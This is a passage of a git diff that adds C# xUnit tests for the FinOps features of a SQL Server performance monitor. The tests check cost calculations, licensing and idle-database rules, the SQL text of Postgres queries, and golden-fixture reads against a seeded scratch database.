+        Assert.Equal(600, q.GetProperty("avg_writes").GetInt64());
+        Assert.Equal(800, q.GetProperty("max_writes").GetInt64());
+        Assert.Equal(85000, q.GetProperty("avg_logical_reads").GetInt64());
+        Assert.Equal(100000, q.GetProperty("max_logical_reads").GetInt64());
+        Assert.Equal(2, q.GetProperty("sample_count").GetInt64());
+    }
+
+    [Fact]
+    public async Task HoursBack_IsHonoured_AndWidensTheWindow()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 48, 10, cancellationToken: ct));
+        Assert.Contains(tool.RootElement.GetProperty("rows").EnumerateArray(), r => r.GetProperty("application_name").GetString() == "Outside");
+    }
+
+    [Fact]
+    public async Task ServerWithNoRows_IsExactlyEmpty()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var body = await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", EmptyServerName, 24, 10, cancellationToken: ct);
+        Assert.Equal(
+            McpHelpers.Status("empty", "No session statistics were collected for this server in the last 24 hours, so there is no per-application connection data to show."),
+            body);
+    }
+
+    [Fact]
+    public async Task PostgresServerWithNoRows_IsNotCollected()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", PostgresServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal("not_collected", tool.RootElement.GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public async Task NonDefaultLimit_IsRefused()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var body = await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 5, cancellationToken: ct);
+        Assert.Contains("limit", body, StringComparison.Ordinal);
+        Assert.Contains("application_connections", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("application_count", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ReadRoute_ReturnsTheToolsBody()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 10, cancellationToken: ct);
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(ds);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, ds, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = "/api/read/get_finops";
+            request.Request.QueryString = new QueryString($"?server={ServerName}&view=application_connections&hours=24");
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        var body = await reader.ReadToEndAsync(ct);
+
+        Assert.Equal(StatusCodes.Status200OK, context.Response.StatusCode);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsClickThroughRulesTests.cs b/Darling/Darling.Tests/FinOpsClickThroughRulesTests.cs
new file mode 100644
index 0000000000..ad5f90237c
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsClickThroughRulesTests.cs
@@ -0,0 +1,155 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// The FinOps rules the click-through found in Lite and brought to Darling: one CPU right-sizing row, no licensing advice for free
+/// editions, an idle claim that needs each of the last 7 UTC days watched, no health score without a CPU sample, and a Storage
+/// Growth baseline that is the sample nearest its mark. Each rule lives once in the Storage helpers, so the Viewer, the web page and
+/// the MCP tools agree.
+/// </summary>
+public class FinOpsClickThroughRulesTests
+{
+    [Theory]
+    [InlineData("Enterprise Edition: Core-based Licensing (64-bit)", true)]
+    [InlineData("Enterprise Developer Edition (64-bit)", false)]
+    [InlineData("Enterprise Evaluation Edition (64-bit)", false)]
+    [InlineData("Developer Edition (64-bit)", false)]
+    [InlineData("Express Edition with Advanced Services (64-bit)", false)]
+    [InlineData("Standard Edition (64-bit)", false)]
+    [InlineData("", false)]
+    [InlineData(null, false)]
+    public void LicensingAdvice_AppliesOnlyToPaidEnterprise(string? edition, bool expected)
+    {
+        Assert.Equal(expected, FinOpsRecommendationFigures.EditionNeedsLicensingAdvice(edition));
+        if (!expected)
+        {
+            Assert.Empty(FinOpsRecommendationFigures.EditionAudit(edition ?? "", 16, 16, Array.Empty<string>(), 5000m, "Standalone", false));
+        }
+    }
+
+    [Fact]
+    public void CpuRightSizing_NeedsAFullDayOfSamples()
+    {
+        Assert.False(FinOpsRecommendationFigures.CpuSamplesSpanEnough(TimeSpan.FromMinutes(4)));
+        Assert.False(FinOpsRecommendationFigures.CpuSamplesSpanEnough(TimeSpan.FromHours(23)));
+        Assert.True(FinOpsRecommendationFigures.CpuSamplesSpanEnough(TimeSpan.FromHours(24)));
+    }
+
+    [Theory]
+    [InlineData(null, 2, true)]   // no compute row: the prescriptive row stands alone
+    [InlineData(4, 2, false)]     // compute row keeps more cores: it stays
+    [InlineData(4, 4, false)]     // tie: the "CPU over-provisioned" row stays
+    [InlineData(4, 8, true)]      // prescriptive row keeps more cores: it replaces the compute row
+    public void OneCpuRow_TheOneKeepingMoreCoresWins_AndATieKeepsTheComputeRow(int? compute, int prescriptive, bool prescriptiveWins)
+    {
+        Assert.Equal(prescriptiveWins, FinOpsRecommendationFigures.PrescriptiveCpuRowWins(compute, prescriptive));
+    }
+
+    [Fact]
+    public void VmRightSizing_CanLeaveTheCpuRowOut_AndKeepTheMemoryRow()
+    {
+        var withCpu = FinOpsRecommendationFigures.VmRightSizing(10m, "recent samples", 16, 65536, 8000, 100, "recent samples", 1000m);
+        var withoutCpu = FinOpsRecommendationFigures.VmRightSizing(10m, "recent samples", 16, 65536, 8000, 100, "recent samples", 1000m, includeCpuRow: false);
+        Assert.Equal(2, withCpu.Count);
+        Assert.Single(withoutCpu);
+        Assert.StartsWith("Memory:", withoutCpu[0].Finding, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void IdleCoverage_IsTheSevenCompleteUtcDaysBeforeToday_AndSevenDaysOfHistory()
+    {
+        var now = new DateTime(2026, 10, 7, 15, 30, 0, DateTimeKind.Utc);
+        Assert.Equal(new DateTime(2026, 9, 30), DarlingFinOpsOptimizationReader.IdleCoverageStartUtc(now));
+        Assert.Equal(new DateTime(2026, 10, 7), DarlingFinOpsOptimizationReader.IdleCoverageEndUtc(now));
+        Assert.Equal(7, DarlingFinOpsOptimizationReader.IdleCoverageDays);
+        // One EXISTS probe per complete day (an index range seek each), not a COUNT(DISTINCT) over 7 days of raw rows (#5492).
+        Assert.Contains("FROM generate_series(CAST($2 AS timestamp), CAST($3 AS timestamp) - INTERVAL '1 day', INTERVAL '1 day')", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+        // The probe sits in the select list: a WHERE EXISTS is flattened to a semi join that read every chunk of the server on a hypertable.
+        Assert.Contains("SELECT EXISTS (SELECT 1", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("WHERE EXISTS", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("COUNT(DISTINCT", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+        // The oldest sample is an ordered index scan that stops at its first row; MIN through the view read the server's whole history.
+        Assert.Contains("SELECT collection_time FROM v_query_stats WHERE server_id = $1 ORDER BY collection_time LIMIT 1", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("MIN(collection_time)", DarlingFinOpsOptimizationReader.IdleCoverageSql, StringComparison.Ordinal);
+
+        var covered = now.AddDays(-7).AddMinutes(-1);
+        Assert.True(DarlingFinOpsOptimizationReader.IdleCoverageHolds(covered, 7, now));
+        Assert.False(DarlingFinOpsOptimizationReader.IdleCoverageHolds(now.AddDays(-6.5), 7, now));   // 6.5 days of history, however many UTC dates it touches
+        Assert.False(DarlingFinOpsOptimizationReader.IdleCoverageHolds(covered, 6, now));              // a missing complete day
+        Assert.False(DarlingFinOpsOptimizationReader.IdleCoverageHolds(null, 7, now));                 // no sample at all
+        // Just after 00:00 UTC with no sample today yet: today is not part of the days, so the claim stands.
+        var justAfterMidnight = new DateTime(2026, 10, 8, 0, 5, 0, DateTimeKind.Utc);
+        Assert.True(DarlingFinOpsOptimizationReader.IdleCoverageHolds(justAfterMidnight.AddDays(-7).AddMinutes(-1), 7, justAfterMidnight));
+    }
+
+    [Fact]
+    public void Cpu24HourRule_NeedsItsOldestSampleInsideTheWindowToBe23HoursOld()
+    {
+        var now = new DateTime(2026, 10, 7, 15, 30, 0, DateTimeKind.Utc);
+        Assert.False(FinOpsRecommendationFigures.Cpu24HourWindowWatched(null, now));
+        // Two days of samples last week and 60 minutes since a restart: the window holds one hour, however long the older span was.
+        Assert.False(FinOpsRecommendationFigures.Cpu24HourWindowWatched(now.AddMinutes(-60), now));
+        Assert.False(FinOpsRecommendationFigures.Cpu24HourWindowWatched(now.AddHours(-22.9), now));
+        Assert.True(FinOpsRecommendationFigures.Cpu24HourWindowWatched(now.AddHours(-23), now));
+        Assert.True(FinOpsRecommendationFigures.Cpu24HourWindowWatched(now.AddHours(-23.98), now));
+    }
+
+    [Fact]
+    public void IdleDatabasesGrid_SaysWhyItIsEmpty_WhenTheDaysWereNotWatched()
+    {
+        Assert.Equal("No idle databases detected", DarlingFinOpsOptimizationReader.IdleDatabasesEmptyText(true));
+        Assert.Contains("cannot be judged yet", DarlingFinOpsOptimizationReader.IdleDatabasesEmptyText(false), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ServerInventoryIdleCount_IsNull_WithoutCoverage_InBothTheRawAndTheRoutedStatement()
+    {
+        // The raw statement joins idle_dbs to idle_coverage (an inner join), so an uncovered server has no idle_dbs row and its count is NULL.
+        Assert.Contains("JOIN idle_coverage ic ON ic.server_id = s.server_id", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+        // One EXISTS probe per complete day and server (#5492), at least $4 of them, not a COUNT(DISTINCT) over every raw row of 7 days.
+        Assert.Contains("WHERE has_sample) >= $4", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+        Assert.Contains("SELECT EXISTS (SELECT 1", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("COUNT(DISTINCT CAST(collection_time AS DATE))", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+        // The complete days only (the day starts stop at $5 - 1 day, today at 00:00 exclusive), and the oldest sample at or before the 7-day cutoff ($2).
+        Assert.Contains("CAST($5 AS timestamp) - INTERVAL '1 day'", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+        Assert.Contains("o.collection_time <= $2", DarlingFinOpsInventoryReader.ServerMetricsSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void HealthScore_IsADash_WithoutACpuSample()
+    {
+        /* The fleet read gives a server with no CPU sample no score at all (the figure the grid and the tool read). */
+        Assert.Null(new ServerMetricsDto(null, null, null, null).HealthScore);
+        Assert.Contains("no CPU sample", FinOpsHealthCalculator.NoScoreNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void StorageGrowth_ABlankBaseline_NamesTheMissingSample()
+    {
+        Assert.Equal("No sample from 7 days ago", DarlingFinOpsStorageGrowthReader.NoBaselineNote(7, null));
+        Assert.Equal("No sample from 30 days ago", DarlingFinOpsStorageGrowthReader.NoBaselineNote(30, null));
+        Assert.Null(DarlingFinOpsStorageGrowthReader.NoBaselineNote(7, 10m));
+        Assert.Equal("No sample from 7 days ago; No sample from 30 days ago", DarlingFinOpsStorageGrowthReader.BaselineNote(null, null));
+        Assert.Null(DarlingFinOpsStorageGrowthReader.BaselineNote(1m, 2m));
+    }
+
+    [Fact]
+    public void StorageGrowth_TheBaselineIsTheSampleNearestItsMark_WithinOneDay()
+    {
+        var sql = DarlingFinOpsStorageGrowthReader.DatabaseSizeSnapshotNearestSql;
+        Assert.Contains("ORDER BY abs(EXTRACT(EPOCH FROM (t - $2::timestamp)))", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time < $3", sql, StringComparison.Ordinal);
+        Assert.Equal(TimeSpan.FromDays(1), DarlingFinOpsStorageGrowthReader.BaselineTolerance);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsCostTests.cs b/Darling/Darling.Tests/FinOpsCostTests.cs
new file mode 100644
index 0000000000..826a14c444
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsCostTests.cs
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// FinOpsCost must return the same decimal as the inline expressions the viewer used before the math moved.
+/// Each fact writes the old expression out as the reference and compares exactly.
+/// </summary>
+public sealed class FinOpsCostTests
+{
+    private static readonly decimal[] Monthlies = { 0m, 1m, 1234.56m, 99999.99m, 0.07m };
+
+    [Theory]
+    [InlineData(1)]
+    [InlineData(24)]
+    [InlineData(168)]
+    [InlineData(720)]
+    [InlineData(7)]
+    public void WindowBudget_MatchesTheInlineExpression_Exactly(int hoursBack)
+    {
+        foreach (var monthly in Monthlies)
+            Assert.Equal(monthly * (hoursBack / 730.0m), FinOpsCost.WindowBudget(monthly, hoursBack));
+    }
+
+    [Fact]
+    public void WindowBudget_KeepsTheDivisionBeforeTheMultiply()
+    {
+        // 1234.56 * (1 / 730) and 1234.56 * 1 / 730 differ in the last decimal places.
+        Assert.Equal(1234.56m * (1 / 730.0m), FinOpsCost.WindowBudget(1234.56m, 1));
+        Assert.NotEqual(1234.56m * 1 / 730.0m, FinOpsCost.WindowBudget(1234.56m, 1));
+    }
+
+    [Theory]
+    [InlineData(1L, 3L)]
+    [InlineData(2L, 3L)]
+    [InlineData(7L, 9L)]
+    [InlineData(123456789L, 987654321L)]
+    public void Share_MatchesTheInlineExpression_Exactly(long part, long total)
+    {
+        var budget = 1234.56m * (24 / 730.0m);
+        Assert.Equal((part / (decimal)total) * budget, FinOpsCost.Share(part, total, budget));
+    }
+
+    [Theory]
+    [InlineData(1.5, 7.0, 1234.56)]
+    [InlineData(10.0, 30.0, 99999.99)]
+    [InlineData(0.0, 5.0, 12.34)]
+    [InlineData(2.0, 3.0, 0.07)]
+    public void StorageShare_MatchesTheInlineExpression_Exactly(double size, double total, double monthly)
+    {
+        var s = (decimal)size;
+        var t = (decimal)total;
+        var m = (decimal)monthly;
+        Assert.Equal((s / t) * m, FinOpsCost.StorageShare(s, t, m));
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(1234.56)]
+    [InlineData(99999.99)]
+    public void Annual_MatchesTheInlineExpression_Exactly(double monthly)
+    {
+        var m = (decimal)monthly;
+        Assert.Equal(m * 12m, FinOpsCost.Annual(m));
+    }
+
+    [Fact]
+    public void TheLoaders_CallTheHelper_AndHoldNoHoursPerMonthLiteral()
+    {
+        var tab = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.Loaders.cs");
+
+        Assert.DoesNotContain("730", tab, StringComparison.Ordinal);
+        Assert.Equal(2, Count(tab, "FinOpsCost.WindowBudget(_server.MonthlyCostUsd, hoursBack)"));
+        Assert.Contains("FinOpsCost.Share(w.TotalWaitTimeMs, (decimal)totalWait, windowBudget)", tab, StringComparison.Ordinal);
+        Assert.Contains("FinOpsCost.Share(q.TotalCpuMs, (decimal)totalCpu, windowBudget)", tab, StringComparison.Ordinal);
+        Assert.Contains("FinOpsCost.StorageShare(d.TotalSizeMb ?? 0m, totalMb, _server.MonthlyCostUsd)", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnnualCost_CallsTheHelper_InBothRowModels()
+    {
+        var rows = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.cs");
+
+        Assert.Equal(2, Count(rows, "AnnualCost => FinOpsCost.Annual(MonthlyCost);"));
+        Assert.DoesNotContain("MonthlyCost * 12m", rows, StringComparison.Ordinal);
+    }
+
+    private static int Count(string text, string needle)
+    {
+        var n = 0;
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal)) n++;
+        return n;
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsDatabaseResourcesGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsDatabaseResourcesGoldenLiveTests.cs
new file mode 100644
index 0000000000..da856d23e7
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsDatabaseResourcesGoldenLiveTests.cs
@@ -0,0 +1,276 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Golden-fixture pin for the two FinOps Database Resources reads (<c>GetDatabaseResourceUsageAsync</c> and
+/// <c>GetTopResourceConsumersAsync</c>) and for the SQL text of their routed forms. A deterministic seeded store is
+/// read and the results are serialized (declaration-order public properties, decimals at their stored scale) and
+/// compared byte for byte with <c>Fixtures/FinOpsDatabaseResources/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c>
+/// to regenerate it.
+///
+/// <para>Server A holds: a database with several query rows (one with a zero sample interval, which the
+/// interval-honest filter drops); two databases tied on CPU and on average CPU; a database with zero executions
+/// (no average, so absent from the by-average list); a row with a NULL database name (dropped from the by-total list,
+/// kept in the by-average list); more databases than the top-N of 3; a database with file I/O and no query rows; and
+/// I/O byte counts whose megabytes round at the stored precision. Server B has no rows at all.</para>
+///
+/// <para>The fresh store has no rollups, so every read routes to raw. The routed forms never execute here, so their
+/// SQL text is pinned directly: all four <c>...SqlFor</c> overloads, for each tier, with unknown coverage and with a
+/// coverage built to stitch a successor in (hourly and daily).</para>
+/// </summary>
+public sealed class FinOpsDatabaseResourcesGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-dbres-golden-a";
+    internal const string ServerNameB = "darling-finops-dbres-golden-b";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+
+    [Fact]
+    public Task DatabaseResourceReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var usage = new Dictionary<string, object?>
+            {
+                ["a"] = await viewer.GetDatabaseResourceUsageAsync(ServerIdA, 24, ct),
+                ["b"] = await viewer.GetDatabaseResourceUsageAsync(ServerIdB, 24, ct),
+            };
+            var top = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB) })
+            {
+                var (byTotal, byAvg) = await viewer.GetTopResourceConsumersAsync(id, 24, 3, ct);
+                top[key] = new Dictionary<string, object?> { ["byTotal"] = byTotal, ["byAvg"] = byAvg };
+            }
+            return Serialize(usage, top, SqlSnapshots(
+                ViewerDataService.DatabaseResourceUsageSqlFor, ViewerDataService.DatabaseResourceUsageSqlFor,
+                ViewerDataService.TopResourceConsumersSqlFor, ViewerDataService.TopResourceConsumersSqlFor));
+        });
+
+    [Fact]
+    public Task DatabaseResourceReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowMappers() =>
+        RunAsync(async (connectionString, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            /* A fresh store has no rollups: the same availability and coverage the viewer's probe answers there. */
+            var rollups = RollupAvailability.None;
+            var coverage = RollupCoverage.Unknown;
+            var usage = new Dictionary<string, object?>();
+            var top = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB) })
+            {
+                var cutoff = DateTime.UtcNow.AddHours(-24);
+                usage[key] = (await DarlingFinOpsDatabaseResourcesReader.GetDatabaseResourceUsageAsync(
+                    dataSource, id, rollups, coverage, cutoff, 30, ct)).ConvertAll(DatabaseResourceUsageRow.From);
+                var (byTotal, byAvg) = await DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync(
+                    dataSource, id, rollups, coverage, DateTime.UtcNow.AddHours(-24), 30, 3, ct);
+                top[key] = new Dictionary<string, object?>
+                {
+                    ["byTotal"] = byTotal.Select(TopResourceConsumerRow.From).ToList(),
+                    ["byAvg"] = byAvg.Select(TopResourceConsumerRow.From).ToList(),
+                };
+            }
+            return Serialize(usage, top, SqlSnapshots(
+                DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor, DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor,
+                DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor, DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor));
+        });
+
+    internal static readonly DateTime StitchWindowStart = new(2026, 1, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>A coverage whose hourly successors start on 2026-02-10 and whose daily successors start on 2026-02-20, so
+    /// a window starting 2026-01-01 stitches at those boundaries (legacy below, successor at and above).</summary>
+    internal static RollupCoverage StitchingCoverage()
+    {
+        DateTime At(int month, int day) => new(2026, month, day, 0, 0, 0, DateTimeKind.Unspecified);
+        var floors = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsDbHourlyView] = At(1, 1),
+            [TimescaleSupport.QueryStatsDbIntervalHourlyView] = At(2, 10),
+            [TimescaleSupport.QueryStatsDbDailyView] = At(1, 1),
+            [TimescaleSupport.QueryStatsDbIntervalDailyView] = At(2, 20),
+            [TimescaleSupport.QueryStatsHourlyView] = At(1, 1),
+            [TimescaleSupport.QueryStatsIntervalHourlyView] = At(2, 10),
+            [TimescaleSupport.QueryStatsDailyView] = At(1, 1),
+            [TimescaleSupport.QueryStatsIntervalDailyView] = At(2, 20),
+        };
+        return new RollupCoverage(floors, new Dictionary<string, DateTime>(StringComparer.Ordinal), RollupAvailability.All);
+    }
+
+    /// <summary>The SQL each overload returns, per tier, for unknown coverage and for the stitching coverage.</summary>
+    internal static Dictionary<string, object?> SqlSnapshots(
+        Func<RetentionTier, string> usageOne, Func<RetentionTier, RollupCoverage, DateTime, string> usageThree,
+        Func<RetentionTier, string> topOne, Func<RetentionTier, RollupCoverage, DateTime, string> topThree)
+    {
+        var map = new Dictionary<string, object?>();
+        var stitching = StitchingCoverage();
+        foreach (var tier in new[] { RetentionTier.Raw, RetentionTier.Hourly, RetentionTier.Daily })
+        {
+            map[$"usage_{tier}_oneArg"] = usageOne(tier);
+            map[$"usage_{tier}_unknown"] = usageThree(tier, RollupCoverage.Unknown, StitchWindowStart);
+            map[$"usage_{tier}_stitched"] = usageThree(tier, stitching, StitchWindowStart);
+            map[$"top_{tier}_oneArg"] = topOne(tier);
+            map[$"top_{tier}_unknown"] = topThree(tier, RollupCoverage.Unknown, StitchWindowStart);
+            map[$"top_{tier}_stitched"] = topThree(tier, stitching, StitchWindowStart);
+        }
+        return map;
+    }
+
+    internal static async Task RunAsync(Func<string, CancellationToken, Task<string>> read)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps database resources golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await SeedAsync(connection, ct);
+        }
+
+        AssertGolden(await read(scratch.ConnectionString, ct));
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* cpu is in microseconds (the read divides by 1000). Alpha: three rows, one with a zero sample interval (dropped). */
+        await Query(connection, ct, now.AddHours(-2), "Alpha", 9_000_000, 30, 1000, 100, 50, 60);
+        await Query(connection, ct, now.AddHours(-3), "Alpha", 2_500_000, 7, 400, 40, 20, 60);
+        await Query(connection, ct, now.AddHours(-4), "Alpha", 99_000_000, 999, 9999, 999, 999, 0);
+        /* Bravo and Charlie tie on CPU (5000 ms) and on average CPU (500 ms). */
+        await Query(connection, ct, now.AddHours(-2), "Bravo", 5_000_000, 10, 300, 30, 10, 60);
+        await Query(connection, ct, now.AddHours(-2), "Charlie", 5_000_000, 10, 200, 20, 5, 60);
+        /* Delta: CPU but zero executions, so no average. */
+        await Query(connection, ct, now.AddHours(-2), "Delta", 3_000_000, 0, 50, 5, 1, 60);
+        /* An unattributed row. */
+        await Query(connection, ct, now.AddHours(-2), null, 4_000_000, 8, 70, 7, 3, 60);
+        await Query(connection, ct, now.AddHours(-2), "Echo", 1_000_000, 4, 10, 1, 0, 60);
+        await Query(connection, ct, now.AddHours(-2), "Foxtrot", 2_000_000, 5, 20, 2, 1, 60);
+
+        /* File I/O: bytes chosen so the megabyte figures round at DECIMAL(19,2) and the shares at DECIMAL(5,2). */
+        await FileIo(connection, ct, now.AddHours(-2), "Alpha", "a.mdf", 1_054_000L, 3_333_333L, 120, 30);
+        await FileIo(connection, ct, now.AddHours(-3), "Alpha", "a.ldf", 7_777_777L, 1_048_577L, 15, 5);
+        await FileIo(connection, ct, now.AddHours(-2), "Bravo", "b.mdf", 524_288L, 1_572_864L, 8, 2);
+        await FileIo(connection, ct, now.AddHours(-2), "Golf", "g.mdf", 123_456_789L, 98_765_432L, 77, 33);
+    }
+
+    private static Task Query(NpgsqlConnection c, CancellationToken ct, DateTime at, string? db, long cpuUs, long exec,
+        long logical, long physical, long writes, int intervalSeconds) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                delta_worker_time, delta_execution_count, delta_logical_reads, delta_physical_reads, delta_logical_writes,
+                sample_interval_seconds)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, "0xQ" + CollectionIdGenerator.Next(), cpuUs, exec, logical, physical, writes, intervalSeconds);
+
+    private static Task FileIo(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string file,
+        long readBytes, long writeBytes, long stallRead, long stallWrite) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name,
+                file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
+                delta_stall_read_ms, delta_stall_write_ms)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, file, "ROWS", "D:\\data\\" + file, 100m, 10L, 10L,
+            readBytes, writeBytes, stallRead, stallWrite);
+
+    /// <summary>Serializes the results as indented JSON: public settable properties in declaration order and decimals at
+    /// their stored scale.</summary>
+    internal static string Serialize(object usage, object top, object sql)
+    {
+        using var stream = new MemoryStream();
